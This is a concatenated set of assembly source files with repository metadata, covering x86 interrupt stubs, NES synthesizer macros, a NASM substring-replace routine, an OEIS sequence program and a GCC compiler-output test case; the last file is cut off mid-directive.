global _irq0 global _irq1 global _irq2 global _irq3 global _irq4 global _irq5 global _irq6 global _irq7 global _irq8 global _irq9 global _irq10 global _irq11 global _irq12 global _irq13 global _irq14 global _irq15 ; 32: IRQ0 _irq0: push byte 0 push byte 32 jmp irq_common_stub ; 33: IRQ1 _irq1: push byte 0 push byte 33 jmp irq_common_stub ; 34: IRQ2 _irq2: push byte 0 push byte 34 jmp irq_common_stub ; 35: IRQ3 _irq3: push byte 0 push byte 35 jmp irq_common_stub ; 36: IRQ4 _irq4: push byte 0 push byte 36 jmp irq_common_stub ; 37: IRQ5 _irq5: push byte 0 push byte 37 jmp irq_common_stub ; 38: IRQ6 _irq6: push byte 0 push byte 38 jmp irq_common_stub ; 39: IRQ7 _irq7: push byte 0 push byte 39 jmp irq_common_stub ; 40: IRQ8 _irq8: push byte 0 push byte 40 jmp irq_common_stub ; 41: IRQ9 _irq9: push byte 0 push byte 41 jmp irq_common_stub ; 42: IRQ10 _irq10: push byte 0 push byte 42 jmp irq_common_stub ; 43: IRQ11 _irq11: push byte 0 push byte 43 jmp irq_common_stub ; 44: IRQ12 _irq12: push byte 0 push byte 44 jmp irq_common_stub ; 45: IRQ13 _irq13: push byte 0 push byte 45 jmp irq_common_stub ; 46: IRQ14 _irq14: push byte 0 push byte 46 jmp irq_common_stub ; 47: IRQ15 _irq15: push byte 0 push byte 47 jmp irq_common_stub extern _lowlevel_dispatch_interrupt irq_common_stub: pusha push ds push es push fs push gs mov eax, esp push eax mov eax, _lowlevel_dispatch_interrupt call eax pop eax pop gs pop fs pop es pop ds popa add esp, 8 iret
13.635036
42
0.609208
e7221fd2ac61370c7282ff8f0926d00e83cefdee
20,380
asm
Assembly
synth_macros.asm
neilbaldwin/PR8
045cbd282aba6357a4ae555958cf65c018952e49
[ "BSD-2-Clause-FreeBSD", "MIT" ]
8
2021-03-14T18:20:40.000Z
2021-08-04T20:32:25.000Z
synth_macros.asm
neilbaldwin/PR8
045cbd282aba6357a4ae555958cf65c018952e49
[ "BSD-2-Clause-FreeBSD", "MIT" ]
2
2021-09-17T02:53:10.000Z
2021-09-17T03:11:10.000Z
synth_macros.asm
neilbaldwin/PR8
045cbd282aba6357a4ae555958cf65c018952e49
[ "BSD-2-Clause-FreeBSD", "MIT" ]
null
null
null
.FEATURE force_range ;------------------------------------------------------------------------------ ; Noise LFO ;------------------------------------------------------------------------------ .MACRO noiseLFO _delay,_counter,_phase,_note,_delayCounter,_speed,_depth,_freqLo lda _delay ;if delay >=$80 then arpeggio bpl :+++++ lda _counter ;time to change phase? beq :++ dec _counter ;not yet lda _note ;get original pitch ldx _phase ;which phase? beq :+ ;0, so use original pitch clc ;otherwise add _depth to original adc _depth : sta _freqLo rts : lda _phase bne :+ lda _delayCounter beq :++ dec _delayCounter : lda _speed sta _counter lda _phase eor #$01 sta _phase : rts ;LFO/SWEEP : lda _delayCounter beq :+ dec _delayCounter rts : lda _counter beq :+ dec _counter rts : lda _freqLo and #$10 sta plyrTmp0 lda _freqLo and #$0F clc adc _depth and #$0F ora plyrTmp0 sta _freqLo lda _speed sta _counter rts .ENDMACRO ;------------------------------------------------------------------------------ ; Pitch LFO ;------------------------------------------------------------------------------ .MACRO pitchLFO _delay,_counter,_phase,_note,_delayCounter,_speed,_depth,_freqLo,_freqHi,_slide lda _slide bne :+++++++ lda _delay ;if delay >+$80 then arpeggio bpl :+++++ lda _counter ;time to change note? beq :++ dec _counter ;no, update phase counter ldx _phase ;which note? if 0 then use original pitch lda _note cpx #$00 beq :+ clc ;otherwise add arpeggio offset adc _note,x : tax lda periodLo,x sta _freqLo lda periodHi,x sta _freqHi rts : lda _phase ;arpeggio index change, reached end? cmp #$02 bcc :+ lda _delayCounter ;if arpeggio, lower 7 bits of delay = number of beq :++ ; arpeggio cycles dec _delayCounter : lda _speed ;if cycle counter not done, reset phase counter sta _counter ;and reset note index inc _phase lda _phase sec sbc #$03 bne :+ sta _phase : rts ;LFO/sweep : lda _delayCounter ;delay done? beq :+ dec _delayCounter ;not yet, do nothing rts : lda _speed ;yes. if speed=0 then sweep, otherwise vibrato bne :+++ lda _depth ;sweep : eor #$FF tax inx txa bpl :+ clc adc _freqLo sta _freqLo lda _freqHi adc #$FF sta _freqHi rts : clc adc _freqLo sta _freqLo lda _freqHi adc #$00 sta _freqHi rts : lda _phase ;vibrato and #$01 beq :+ lda _depth clc adc _freqLo sta _freqLo lda _freqHi adc #$00 sta _freqHi dec _counter beq :++ rts : lda _freqLo sec sbc _depth sta _freqLo lda _freqHi sbc #$00 sta _freqHi dec _counter beq :+ rts : lda _speed asl a sta _counter inc _phase rts .ENDMACRO ;------------------------------------------------------------------------------ ; Amplitude Envelope ;------------------------------------------------------------------------------ .MACRO ampEnvelope _phase,_env,_vol,_ampIndex,_counter,_gate lda _phase bne :+ sta _ampIndex rts : lsr a beq :+++++ ;01 release bcc :+++ ;10 hold lda _env ;11 attack and #$F0 beq :++ lda _vol and #$F0 ora _ampIndex tax lda ampTable,x cmp #$0F beq :++ lda _env and #$F0 clc adc _counter sta _counter bcc :+ inc _ampIndex : rts : lda #$0F sta _ampIndex dec _phase lda _gate sta _counter beq :++ rts : dec _counter ;hold beq :+ rts : dec _phase lda _env and #$0F beq :+++ rts : lda _vol and #$F0 ora _ampIndex tax lda ampTable,x beq :++ lda _env asl a asl a asl a asl a clc adc _counter sta _counter bcc :+ dec _ampIndex : rts : sta _ampIndex sta _phase rts .ENDMACRO ;------------------------------------------------------------------------------ ; Amp Envelope C ;------------------------------------------------------------------------------ .MACRO ampEnvelopeC _gateTimer,_gate,_ampIndex,_phase,_pulse,_counter lda _gateTimer bne :+ sta _ampIndex rts : dec _gateTimer lda _phase and #$01 bne :+ lda #$81 sta _ampIndex lda _pulse and #$F0 clc bcc :++ : lda #$00 sta _ampIndex lda _pulse asl a asl a asl a asl a clc : adc _counter sta _counter bcc :+ inc _phase : rts .ENDMACRO ;------------------------------------------------------------------------------ ; Duty Modulation ;------------------------------------------------------------------------------ .MACRO dutyMod _counter,_index,_widths,_width lda _counter beq :+ dec _counter rts : lda _index and #$01 tax lda _widths,x pha and #%11000000 sta _width pla and #%00111111 sta _counter beq :+ inc _index : rts .ENDMACRO ;------------------------------------------------------------------------------ ; Write VAPU A ;------------------------------------------------------------------------------ .MACRO writeVAPU_A _flags,_vol,_ampIndex,_duty,_freqLo,_freqHi,_hard,_fine,_phase lda _flags and #%00000001 beq :+++ lda _hard beq :+ dec _hard lda #$FF sta VAPU_03_OLD : lda _vol and #$F0 ora _ampIndex tax lda _vol asl a asl a asl a asl a ora ampTable,x ;output amp 0-F tax lda VOLUME_TABLE,x pha ora _duty ora #%00110000 sta VAPU_00 ldx #$00 lda _fine bpl :+ dex : clc adc _freqLo sta VAPU_02 txa adc _freqHi and #$07 sta VAPU_03 pla bne :+ ldx _phase cpx #ENV_PHASE_ATTACK bcs :+ ora #%00110000 sta VAPU_00 lda _flags and #%11111110 sta _flags : .ENDMACRO .MACRO writeVAPU_B _flags,_vol,_ampIndex,_duty,_freqLo,_freqHi,_hard,_fine,_phase lda _flags and #%00000010 beq :+++ lda _hard beq :+ dec _hard lda #$FF sta VAPU_07_OLD : lda _vol and #$F0 ora _ampIndex tax lda _vol asl a asl a asl a asl a ora ampTable,x ;output amp 0-F tax lda VOLUME_TABLE,x pha ora _duty ora #%00110000 sta VAPU_04 ldx #$00 lda _fine bpl :+ dex : clc adc _freqLo sta VAPU_06 txa adc _freqHi and #$07 sta VAPU_07 pla bne :+ ldx _phase cpx #ENV_PHASE_ATTACK bcs :+ ora #%00110000 sta VAPU_04 lda _flags and #%11111101 sta _flags : .ENDMACRO .MACRO writeVAPU_C _flags,_ampIndex,_freqLo,_freqHi,_fine,_gate lda _flags and #%00000100 beq :++ lda _ampIndex sta VAPU_08 ldx #$00 lda _fine bpl :+ dex : clc adc _freqLo sta VAPU_0A txa adc _freqHi and #$07 sta VAPU_0B lda _gate bne :+ sta VAPU_08 lda _flags and #%11111011 sta _flags : .ENDMACRO .MACRO writeVAPU_D _flags,_vol,_ampIndex,_freqLo,_phase lda _flags and #%00001000 beq :++ lda _vol and #$F0 ora _ampIndex tax lda _vol asl a asl a asl a asl a ora ampTable,x ;output amp 0-F tax lda VOLUME_TABLE,x pha ora #%00110000 sta VAPU_0C lda _freqLo cmp #$0F bcc :+ ora #$80 : and #%10001111 sta VAPU_0E pla bne :+ ora #%00110000 ldx _phase cpx #ENV_PHASE_ATTACK bcs :+ sta VAPU_0C lda _flags and #%11110111 sta _flags : .ENDMACRO .MACRO writeVAPU_E _flags,_on lda _flags and #%00010000 beq :+ lda _on beq :+ lda VAPU_10 sta APU_10 lda VAPU_11 sta APU_11 lda VAPU_12 sta APU_12 lda VAPU_13 sta APU_13 lda APU_15 and #$0F ora _on sta APU_15 lda #$00 sta _on : .ENDMACRO ;------------------------------------------------------------------------------ ; Play Note ;------------------------------------------------------------------------------ .MACRO playNote _track,_parameters lda editorSoloChannel bmi :+ cmp #_track beq :+ rts : lda editorChannelStatus+_track bne :+ rts : lda #WRAM_DRUMS jsr setMMC1r1 lda noteTrack+_track bmi :+ ;tie note? lda #$00 ;no, reset retrigger counter sta retriggerCount+_track lda retriggerSpeed+_track beq :+ jmp :+++++++ : jsr @loadDrum ldy _parameters+mod_Parameter0 bmi :++ cpy #gbl_DrumName bcc :+ tya sbc #gbl_DrumName asl a asl a tax lda plyrMultiTriggers,x tay lda triggerTmp+0 sta _parameters,y inx lda plyrMultiTriggers,x tay lda triggerTmp+0 sta _parameters,y inx lda plyrMultiTriggers,x tay : lda triggerTmp+0 sta _parameters,y : ldy _parameters+mod_Parameter1 bmi :++ cpy #gbl_DrumName bcc :+ tya sbc #gbl_DrumName asl a asl a tax lda plyrMultiTriggers,x tay lda triggerTmp+1 sta _parameters,y inx lda plyrMultiTriggers,x tay lda triggerTmp+1 sta _parameters,y inx lda plyrMultiTriggers,x tay : lda triggerTmp+1 sta _parameters,y : ldy _parameters+mod_Parameter2 bmi :++ cpy #gbl_DrumName bcc :+ tya sbc #gbl_DrumName asl a asl a tax lda plyrMultiTriggers,x tay lda triggerTmp+2 sta _parameters,y inx lda plyrMultiTriggers,x tay lda triggerTmp+2 sta _parameters,y inx lda plyrMultiTriggers,x tay : lda triggerTmp+2 sta _parameters,y : lda noteTrack+_track bpl :+ and #$7F sta noteTrack+_track lda _parameters+gbl_VoiceSelect sta voiceActive+_track sta plyrTmp0 jsr @plyrPlayTieNote rts : lda _parameters+gbl_VoiceSelect sta voiceActive+_track sta plyrTmp0 jsr @plyrPlayNormalNote rts @plyrPlayTieNote: lsr plyrTmp0 bcc :++++ lda noteTrack+_track cmp lastNoteTrack+_track bne :+ jmp @skipTie : lda slideA+_track bne :++++ lda _parameters+osc_A_Coarse cmp #NOTE_ABSOLUTE bcc :++ cmp #NOTE_NEGATIVE bcs :+ adc #$00-NOTE_ABSOLUTE bpl :+++ : clc : adc noteTrack+_track : sta noteNumberA0+(_track * 3) tax lda periodLo,x sta freqLoA+_track lda periodHi,x sta freqHiA+_track lda #$FF sta VAPU_03_OLD ;Start Note on Voice B : lsr plyrTmp0 bcc :++++ lda slideB+_track bne :++++ lda _parameters+osc_B_Coarse cmp #NOTE_ABSOLUTE bcc :++ cmp #NOTE_NEGATIVE bcs :+ adc #$00-NOTE_ABSOLUTE bpl :+++ : clc : adc noteTrack+_track : sta noteNumberB0+(_track*3) tax lda periodLo,x sta freqLoB+_track lda periodHi,x sta freqHiB+_track lda #$FF sta VAPU_07_OLD ;voice C : lsr plyrTmp0 bcc :++++ lda slideC+_track bne :++++ lda _parameters+osc_C_Coarse cmp #NOTE_ABSOLUTE bcc :++ cmp #NOTE_NEGATIVE bcs :+ adc #$00-NOTE_ABSOLUTE bpl :+++ : clc : adc noteTrack+_track : sta noteNumberC0+(_track*3) tax lda periodLo,x sta freqLoC+_track lda periodHi,x sta freqHiC+_track ;D : lsr plyrTmp0 bcc :++++ lda _parameters+osc_D_Coarse cmp #NOTE_ABSOLUTE bcc :++ cmp #NOTE_NEGATIVE bcs :+ adc #$00-NOTE_ABSOLUTE bpl :+++ : clc : adc noteTrack+_track : and #$1F sta noteNumberD0+(_track*3) sta freqLoD+_track @skipTie: : lsr plyrTmp0 bcc :+ lda #$0F sta $4015 lda #$10 sta plyrDpcmOn+_track : rts @plyrPlayNormalNote: ;Start note on Voice A lda #%00110000 sta VAPU_00 sta VAPU_04 sta VAPU_0C lda #$00 sta VAPU_08 lsr plyrTmp0 bcs :+ jmp @b : lda noteTrack+_track ldx slideA+_track beq :+ lda lastNoteTrack+_track : sta plyrTmp1 lda _parameters+osc_A_Coarse cmp #NOTE_ABSOLUTE bcc :++ cmp #NOTE_NEGATIVE bcs :+ adc #$00-NOTE_ABSOLUTE bpl :+++ : clc : adc plyrTmp1 ;noteTrack+_track : sta noteNumberA0+(_track*3) tax lda periodLo,x sta freqLoA+_track lda periodHi,x sta freqHiA+_track lda _parameters+osc_A_Hard sta hardFreqA+_track lda _parameters+osc_A_Fine sta detuneA+_track lda #$FF ;BUG FIX: notes not played correctly with arpeggio mod sta VAPU_03_OLD lda #$00 sta dutyIndexA+_track sta dutyCounterA+_track sta envCounterA+_track sta lfoPhaseA+_track lda #ENV_PHASE_ATTACK sta envPhaseA+_track lda _parameters+env_A_Gate sta envGateTimerA+_track lda _parameters+env_A_Volume lsr a lsr a lsr a lsr a tax lda ampTableIndex,x sta envAmpIndexA+_track lda _parameters+lfo_A_Speed sta lfoCounterA+_track lda _parameters+lfo_A_Delay bmi :+ sta lfoDelCounterA+_track ;vibrato/sweep lda lfoCounterA+_track beq @b lda _parameters+lfo_A_Depth bpl @b eor #$FF clc adc #$01 sta _parameters+lfo_A_Depth lda #$01 sta lfoPhaseA+_track bpl @b : and #$7F pha bne :+ sta arpNotesA0+(_track*3)+1 inc lfoPhaseA+_track lda _parameters+lfo_A_Depth sta arpNotesA0+(_track*3) pla sta lfoDelCounterA+_track bpl @b : lda _parameters+lfo_A_Depth lsr a lsr a lsr a lsr a sta arpNotesA0+(_track*3) lda _parameters+lfo_A_Depth and #$0F sta arpNotesA0+(_track*3)+1 pla sta lfoDelCounterA+_track ;Start Note on Voice B @b: lsr plyrTmp0 bcs :+ jmp @c : lda noteTrack+_track ldx slideB+_track beq :+ lda lastNoteTrack+_track : sta plyrTmp1 lda _parameters+osc_B_Coarse cmp #NOTE_ABSOLUTE bcc :++ cmp #NOTE_NEGATIVE bcs :+ adc #$00-NOTE_ABSOLUTE bpl :+++ : clc : adc plyrTmp1 ;noteTrack+_track : sta noteNumberB0+(_track*3) tax lda periodLo,x sta freqLoB+_track lda periodHi,x sta freqHiB+_track lda _parameters+osc_B_Hard sta hardFreqB+_track lda _parameters+osc_B_Fine sta detuneB+_track lda #$FF sta VAPU_07_OLD lda #$00 sta dutyIndexB+_track sta dutyCounterB+_track sta envCounterB+_track sta lfoPhaseB+_track lda #ENV_PHASE_ATTACK sta envPhaseB+_track lda _parameters+env_B_Gate sta envGateTimerB+_track lda _parameters+env_B_Volume lsr a lsr a lsr a lsr a tax lda ampTableIndex,x sta envAmpIndexB+_track lda _parameters+lfo_B_Speed sta lfoCounterB+_track lda _parameters+lfo_B_Delay bmi :+ sta lfoDelCounterB+_track ;vibrato/sweep lda lfoCounterB+_track beq @c lda _parameters+lfo_B_Depth bpl @c eor #$FF clc adc #$01 sta _parameters+lfo_B_Depth lda #$01 sta lfoPhaseB+_track bpl @c : and #$7F pha bne :+ sta arpNotesB0+(_track*3)+1 inc lfoPhaseB+_track lda _parameters+lfo_B_Depth sta arpNotesB0+(_track*3) pla sta lfoDelCounterB+_track bpl @c : lda _parameters+lfo_B_Depth lsr a lsr a lsr a lsr a sta arpNotesB0+(_track*3) lda _parameters+lfo_B_Depth and #$0F sta arpNotesB0+(_track*3)+1 pla sta lfoDelCounterB+_track @c: lsr plyrTmp0 bcs @doC jmp @d @doC: lda noteTrack+_track ldx slideC+_track beq :+ lda lastNoteTrack+_track : sta plyrTmp1 lda _parameters+osc_C_Coarse cmp #NOTE_ABSOLUTE bcc :++ cmp #NOTE_NEGATIVE bcs :+ adc #$00-NOTE_ABSOLUTE bpl :+++ : clc : adc plyrTmp1 ;noteTrack+_track : sta noteNumberC0+(_track*3) tax lda periodLo,x sta freqLoC+_track lda periodHi,x sta freqHiC+_track lda _parameters+osc_C_Fine sta detuneC+_track lda #$00 sta envCounterC+_track sta envPhaseC+_track sta lfoPhaseC+_track lda _parameters+env_C_Gate sta envGateTimerC+_track lda _parameters+lfo_C_Speed sta lfoCounterC+_track lda _parameters+lfo_C_Delay bmi :+ sta lfoDelCounterC+_track ;vibrato/sweep lda lfoCounterC+_track beq @d lda _parameters+lfo_C_Depth bpl @d eor #$FF clc adc #$01 sta _parameters+lfo_C_Depth lda #$01 sta lfoPhaseC+_track bpl @d : and #$7F pha bne :+ sta arpNotesC0+(_track*3)+1 inc lfoPhaseC+_track lda _parameters+lfo_C_Depth sta arpNotesC0+(_track*3) pla sta lfoDelCounterC+_track bpl @d : lda _parameters+lfo_C_Depth lsr a lsr a lsr a lsr a sta arpNotesC0+(_track*3) lda _parameters+lfo_C_Depth and #$0F sta arpNotesC0+(_track*3)+1 pla sta lfoDelCounterC+_track @d: lsr plyrTmp0 bcc @e lda _parameters+osc_D_Coarse cmp #NOTE_ABSOLUTE bcc :+ sbc #NOTE_ABSOLUTE jmp :++ : adc noteTrack+_track tax dex txa : and #$1F sta noteNumberD0+(_track*3) sta freqLoD+_track lda #$00 sta envCounterD+_track sta lfoPhaseD+_track lda #ENV_PHASE_ATTACK sta envPhaseD+_track lda _parameters+env_D_Gate sta envGateTimerD+_track lda _parameters+env_D_Volume lsr a lsr a lsr a lsr a tax lda ampTableIndex,x sta envAmpIndexD+_track lda _parameters+lfo_D_Speed sta lfoCounterD+_track lda _parameters+lfo_D_Delay bpl :++ and #$7F pha bne :+ inc lfoPhaseD+_track : lda _parameters+lfo_D_Depth lsr a lsr a lsr a lsr a sta arpNotesD0+(_track*3) lda _parameters+lfo_D_Depth and #$0F sta arpNotesD0+(_track*3)+1 pla : sta lfoDelCounterD+_track @e: lsr plyrTmp0 bcc @x ldx _parameters+smp_E_Sample beq @x lda #$0F sta APU_15 lda #$3F sta VAPU_11 dex lda dmcAddressTable,x clc adc _parameters+smp_E_Start sta VAPU_12 eor #$3f clc adc dmcAddressTable+1,x asl a asl a ora #$03 sec sbc _parameters+smp_E_End sta VAPU_13 lda _parameters+smp_E_Pitch cmp #NOTE_ABSOLUTE bcc :++ cmp #NOTE_NEGATIVE bcs :+ adc #$00-NOTE_ABSOLUTE bpl :+++ : clc : adc noteTrack+_track : and #$0F sta noteNumberE0+_track lda _parameters+smp_E_Loop asl a asl a asl a asl a asl a asl a ora noteNumberE0+_track sta VAPU_10 lda #$10 sta plyrDpcmOn+_track @x: rts @loadDrum: ldx plyrTrackDrum+_track lda plyrDrumAddressLo,x sta plyrTmp0 lda plyrDrumAddressHi,x sta plyrTmp1 ldy #$00 : lda (plyrTmp0),y sta _parameters,y iny cpy #bytesPerDrum bcc :- rts .ENDMACRO .MACRO newStep _track ldx plyrTrackPhrase+_track lda phraseBanks,x jsr setMMC1r1 lda phraseTableLo,x sta plyrTmp0 lda phraseTableHi,x sta plyrTmp1 ldx patternIndex lda patternIndexX5,x tay lda (plyrTmp0),y beq :++++ cmp #$FF bne :+ .IF (_track=0) jsr killNote0 jmp :++++ .ELSEIF (_track=1) jsr killNote1 jmp :++++ .ELSEIF (_track=2) jsr killNote2 jmp :++++ .ELSEIF (_track=3) jsr killNote3 jmp :++++ .ELSEIF (_track=4) jsr killNote4 jmp :++++ .ELSEIF (_track=5) jsr killNote5 jmp :++++ .ENDIF : pha lda noteTrack+_track sta lastNoteTrack+_track and #$7F sta plyrTmp2 pla sta noteTrack+_track lda #$01 sta editorMeterCounters+_track lda #$00 sta retriggerSpeed+_track sta slideA+_track sta slideB+_track sta slideC+_track iny lda (plyrTmp0),y sta retriggerTemp iny lda (plyrTmp0),y sta triggerTmp+0 iny lda (plyrTmp0),y sta triggerTmp+1 iny lda (plyrTmp0),y sta triggerTmp+2 lda retriggerTemp bpl :++ and #$7F sta slideA+_track sta slideB+_track sta slideC+_track lda #$00 sta retriggerTemp lda noteTrack+_track and #$7F sec sbc plyrTmp2 ;lastNoteTrack+_track beq :+ bcs :++ lda slideA+_track eor #$FF clc adc #$01 : sta slideA+_track sta slideB+_track sta slideC+_track : .IF (_track=0) jsr playNote0 .ELSEIF (_track=1) jsr playNote1 .ELSEIF (_track=2) jsr playNote2 .ELSEIF (_track=3) jsr playNote3 .ELSEIF (_track=4) jsr playNote4 .ELSEIF (_track=5) jsr playNote5 .ENDIF lda retriggerTemp sta retriggerSpeed+_track : .ENDMACRO .MACRO checkRetrigger _track lda retriggerCount+_track clc adc retriggerSpeed+_track sta retriggerCount+_track bcc :+ .IF (_track=0) jsr playNote0 .ELSEIF (_track=1) jsr playNote1 .ELSEIF (_track=2) jsr playNote2 .ELSEIF (_track=3) jsr playNote3 .ELSEIF (_track=4) jsr playNote4 .ELSEIF (_track=5) jsr playNote5 .ENDIF : .ENDMACRO .MACRO killNote _track lda #$00 sta retriggerSpeed+_track lda voiceActive+_track sta plyrTmp0 lsr plyrTmp0 bcc :+ lda #$00 sta envPhaseA+_track sta envAmpIndexA+_track : lsr plyrTmp0 bcc :+ lda #$00 sta envPhaseB+_track sta envAmpIndexB+_track : lsr plyrTmp0 bcc :+ lda #$00 sta envGateTimerC+_track : lsr plyrTmp0 bcc :+ lda #$00 sta envAmpIndexD+_track sta envPhaseD+_track : lsr plyrTmp0 bcc :+ lda #$0F sta APU_15 : .ENDMACRO .MACRO echoEffect _voice,_amp,_phase,_level,_decay,_select,_echo0,_echo2,_echo3,_apu0,_apu2,_apu3 lda #WRAM_ECHO jsr setMMC1r1 ldy plyrEchoIndex lda _phase+0 ora _phase+1 ora _phase+2 ora _phase+3 ora _phase+4 ora _phase+5 cmp #$01 bcs :++ ;on lda plyrEchoWrite+_voice bne :+ .IF (_voice=0) lda #$FF sta VAPU_03_OLD .ELSEIF (_voice=1) lda #$FF sta VAPU_07_OLD .ENDIF : lda #$01 sta plyrEchoWrite+_voice bne :+++ : lda plyrEchoWrite+_voice beq :+ .IF (_voice=0) lda #$FF sta VAPU_03_OLD .ELSEIF (_voice=1) lda #$FF sta VAPU_07_OLD .ENDIF : lda #$00 sta plyrEchoWrite+_voice ;read from buffer : lda plyrEchoWrite+_voice beq :+++ .IF (_voice<2) lda _echo3,y sta _apu3 .ENDIF lda _echo2,y sta _apu2 lda _echo0,y sta _apu0 and #%11110000 sta plyrTmp0 lda _select .IF (_voice=0) and #%00000001 .ELSEIF (_voice=1) and #%00000010 .ELSEIF (_voice=2) and #%00000100 .ENDIF bne :+ lda _echo0,y and #%00001111 sec sbc #$01 bpl :++ lda #$00 beq :++ rts : lda _echo0,y and #%00001111 sec sbc _decay bpl :+ lda #$00 : ora plyrTmp0 sta _echo0,y rts ;write to buffer : lda _select .IF (_voice=0) and #%00000001 .ELSEIF (_voice=1) and #%00000010 .ELSEIF (_voice=2) and #%00000100 .ENDIF beq :+ .IF (_voice<2) lda _apu3 ;hi freq sta _echo3,y .ENDIF lda _apu2 ;lo freq sta _echo2,y lda _apu0 ;duty & amp and #%11110000 sta plyrTmp0 lda _apu0 and #%00001111 sty plyrTmp1 tay lda VOLUME_TABLE_LO,y sta plyrTmp2 lda VOLUME_TABLE_HI,y sta plyrTmp3 ldy _level lda (plyrTmp2),y ora plyrTmp0 ldy plyrTmp1 sta _echo0,y : rts .ENDMACRO
14.484719
98
0.669431
e7d89e93f785ae03bef1cc3bb70fb1868d71d28e
2,209
asm
Assembly
nasm assembly/library/substr find and replace.asm
AI-Factor-y/NASM-library
5141901352a47b73e716e27d628bb719f1891092
[ "Apache-2.0" ]
null
null
null
nasm assembly/library/substr find and replace.asm
AI-Factor-y/NASM-library
5141901352a47b73e716e27d628bb719f1891092
[ "Apache-2.0" ]
null
null
null
nasm assembly/library/substr find and replace.asm
AI-Factor-y/NASM-library
5141901352a47b73e716e27d628bb719f1891092
[ "Apache-2.0" ]
null
null
null
replace_sub_str: ;; usage ;----------- ; replaces every substring of the string which is equal to rsst_find ; string in ebx , string to find in rsst_find ; string to replace in rsst_replace ; new string in rsst_string section .bss rsst_string: resb 100 rsst_find: resb 100 rsst_replace: resb 100 rsst_i: resd 1 rsst_j: resd 1 rsst_k: resd 1 rsst_flag: resd 1 rsst_x: resd 1 section .text push rax push rbx push rcx push rdx mov dword[rsst_i],0 mov dword[rsst_j],0 mov dword[rsst_k],0 mov dword[rsst_x],0 mov dword[rsst_flag],0 rsst_loop1: mov eax, [rsst_i] mov cl,byte[ebx+eax] cmp cl,0 je exit_rsst_loop1 ;; check for first occurence mov dword[rsst_j],0 mov eax, [rsst_i] mov dword[rsst_k],eax rsst_loop2: mov eax, [rsst_i] mov cl,byte[ebx+eax] push rbx mov ebx, rsst_find mov eax,[rsst_j] mov dl, byte[ebx+eax] pop rbx cmp cl,dl jne rsst_exit_loop2 cmp cl,0 je rsst_exit_loop2 mov eax, [rsst_j] mov dword[num],eax inc dword[rsst_i] inc dword[rsst_j] jmp rsst_loop2 rsst_exit_loop2: push rbx mov ebx, rsst_find mov eax,[rsst_j] mov dl, byte[ebx+eax] pop rbx cmp dl,0 jne rsst_else_case ;; replace the string mov dword[rsst_j],0 rsst_loop_3: mov eax, [rsst_j] push rbx mov ebx, rsst_replace mov cl, byte[ebx+eax] pop rbx cmp cl,0 je exit_rsst_loop3 mov eax, [rsst_x] push rbx mov ebx, rsst_string mov byte[ebx+eax],cl pop rbx inc dword[rsst_x] inc dword[rsst_j] jmp rsst_loop_3 exit_rsst_loop3: jmp rsst_cont_loop_1 rsst_else_case: mov eax, [rsst_k] mov [rsst_i],eax mov cl, byte[ebx+eax] push rbx mov eax, [rsst_x] mov ebx, rsst_string mov byte[ebx+eax],cl pop rbx inc dword[rsst_i] inc dword[rsst_x] rsst_cont_loop_1: jmp rsst_loop1 exit_rsst_loop1: pop rdx pop rcx pop rbx pop rax ret
13.981013
69
0.583975
7f6d4dee01066da02f9413a32893023dfc07c33a
415
asm
Assembly
programs/oeis/160/A160742.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/160/A160742.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/160/A160742.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A160742: a(n) = A151566(n)*2. ; 0,2,4,8,12,16,20,28,36,40,44,52,60,68,76,92,108,112,116,124,132,140,148,164,180,188,196,212,228,244,260,292,324,328,332,340,348,356,364,380,396,404,412,428,444,460,476,508,540,548,556,572,588,604,620,652,684 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,60632 ; a(n) = 2^wt(floor(n/2)) (i.e., 2^A000120(floor(n/2)), or A001316(floor(n/2))). add $1,$2 lpe mul $1,2 mov $0,$1
31.923077
209
0.626506
0b53ebf356a89689516bd993a6af3cb51fae48c5
11,127
asm
Assembly
test/filters-cases/bug-1285c.asm
OfekShilon/compiler-explorer
7ee2ab17f29470575443bd67e5685ac54ce76158
[ "BSD-2-Clause" ]
4,668
2017-01-02T19:35:10.000Z
2020-05-16T03:18:45.000Z
test/filters-cases/bug-1285c.asm
OfekShilon/compiler-explorer
7ee2ab17f29470575443bd67e5685ac54ce76158
[ "BSD-2-Clause" ]
1,750
2017-01-02T19:37:06.000Z
2020-05-16T14:54:29.000Z
test/filters-cases/bug-1285c.asm
OfekShilon/compiler-explorer
7ee2ab17f29470575443bd67e5685ac54ce76158
[ "BSD-2-Clause" ]
620
2017-01-03T00:29:17.000Z
2020-05-14T09:27:47.000Z
.file "example.cpp" .intel_syntax noprefix .text .Ltext0: .globl _Z3foov .type _Z3foov, @function _Z3foov: .LFB17: .file 1 "/tmp/compiler-explorer-compiler119330-63-1ccesdf.nzyy/example.cpp" .loc 1 3 11 .cfi_startproc .loc 1 3 13 .loc 1 3 24 is_stmt 0 mov eax, 42 ret .cfi_endproc .LFE17: .size _Z3foov, .-_Z3foov .globl _Z3barv .type _Z3barv, @function _Z3barv: .LFB18: .loc 1 4 11 is_stmt 1 .cfi_startproc .loc 1 4 13 .LVL0: .LBB6: .LBB7: .file 2 "/opt/compiler-explorer/gcc-8.3.0/include/c++/8.3.0/typeinfo" .loc 2 100 7 .loc 2 100 14 is_stmt 0 mov rax, QWORD PTR _ZTIi[rip+8] .loc 2 100 31 cmp BYTE PTR [rax], 42 sete dl movzx edx, dl .LVL1: .LBE7: .LBE6: .loc 1 4 40 movsx eax, BYTE PTR [rax+rdx] .loc 1 4 43 ret .cfi_endproc .LFE18: .size _Z3barv, .-_Z3barv .globl _Z3bazv .type _Z3bazv, @function _Z3bazv: .LFB19: .loc 1 6 11 is_stmt 1 .cfi_startproc .loc 1 6 13 .LVL2: .loc 2 100 7 .loc 1 6 45 is_stmt 0 mov eax, 53 ret .cfi_endproc .LFE19: .size _Z3bazv, .-_Z3bazv .Letext0: .file 3 "/opt/compiler-explorer/gcc-8.3.0/include/c++/8.3.0/x86_64-linux-gnu/bits/c++config.h" .file 4 "<built-in>" .section .debug_info,"",@progbits .Ldebug_info0: .long 0x153 .value 0x4 .long .Ldebug_abbrev0 .byte 0x8 .uleb128 